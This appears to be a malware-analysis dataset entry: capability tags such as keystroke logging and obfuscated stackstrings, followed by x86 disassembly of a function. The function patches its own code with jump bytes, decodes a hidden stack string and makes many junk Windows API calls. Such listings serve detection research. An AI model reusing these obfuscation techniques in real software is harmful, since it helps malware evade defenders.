Function at 0xaa0000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Get file size
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes via polling
Query or enumerate registry key
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xaa0b62
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa0036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa01ea
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa00b8
call fcn.0047dc92
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa007a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa0094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa0094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa004a
mov byte [ebp - 0x74], 2
mov byte [ebp - 0x73], 0x6f
mov byte [ebp - 0x72], 8
mov byte [ebp - 0x71], 0x73
mov byte [ebp - 0x70], 7
mov byte [ebp - 0x6f], 0x66
mov byte [ebp - 0x6e], 0x18
mov byte [ebp - 0x6d], 0x49
mov byte [ebp - 0x6c], 0xc2
mov byte [ebp - 0x6b], 0x2b
mov byte [ebp - 0x6a], 0xa3
mov byte [ebp - 0x69], 0x95
mov byte [ebp - 0x68], 0x63
mov byte [ebp - 0x67], 0xf9
mov byte [ebp - 0x66], 0x67
mov byte [ebp - 0x65], 0xfd
mov byte [ebp - 0x64], 0x43
mov byte [ebp - 0x63], 0x4a
mov byte [ebp - 0x62], 0xde
mov byte [ebp - 0x61], 0x99
mov byte [ebp - 0x60], 0xaf
mov byte [ebp - 0x5f], 0x88
mov byte [ebp - 0x5e], 0xdb
mov byte [ebp - 0x5d], 0xbd
mov byte [ebp - 0x5c], 0x37
mov byte [ebp - 0x5b], 0x57
mov byte [ebp - 0x5a], 0x84
mov byte [ebp - 0x59], 0xc3
mov byte [ebp - 0x58], 0x5e
mov byte [ebp - 0x57], 0x75
mov byte [ebp - 0x56], 1
mov byte [ebp - 0x55], 0x7c
mov byte [ebp - 0x54], 9
mov byte [ebp - 0x53], 0x72
mov byte [ebp - 0x52], 0
mov byte [ebp - 0x51], 0x7d
mov byte [ebp - 0x50], 5
mov byte [ebp - 0x4f], 0x76
mov byte [ebp - 0x4e], 4
mov byte [ebp - 0x4d], 0x86
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x31
mov byte [ebp - 0x4a], 6
mov byte [ebp - 0x49], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa017a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2c
jae 0xaa01df
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa01a6
mov dword [ebp - 0x24], 0x18
mov eax, dword [ebp - 8]
add eax, 0x16
mov dword [ebp - 8], eax
jmp 0xaa0172
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa01ce
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa01bb
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa0172
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9582a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407f01
mov ecx, eax
call fcn.0040310a
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.004030ae
and dword [ebp - 0x1c], 0
jmp 0xaa0222
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa0232
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa021b
push 0x1e0
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0xa98
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0x4b7
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0xb11
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0x1e92
push 0xc19
push 0x21cb
push 0x1573
push 0x1ebb
push 0x1bd4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0x10c3
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0x1235
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x1ba2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push 0
push 0x264f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x5df
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xbc5
push 0x506
push 0x21f3
call dword [sym.imp.KERNEL32.dll_HeapCreate]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
push 0x328
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 1
push 0x172e
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0x2395
push 0xacf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0xd08
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0xc6
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0x135a
push 0x75
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0
push 0x12cb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0x620
call dword [sym.imp.KERNEL32.dll_ExitThread]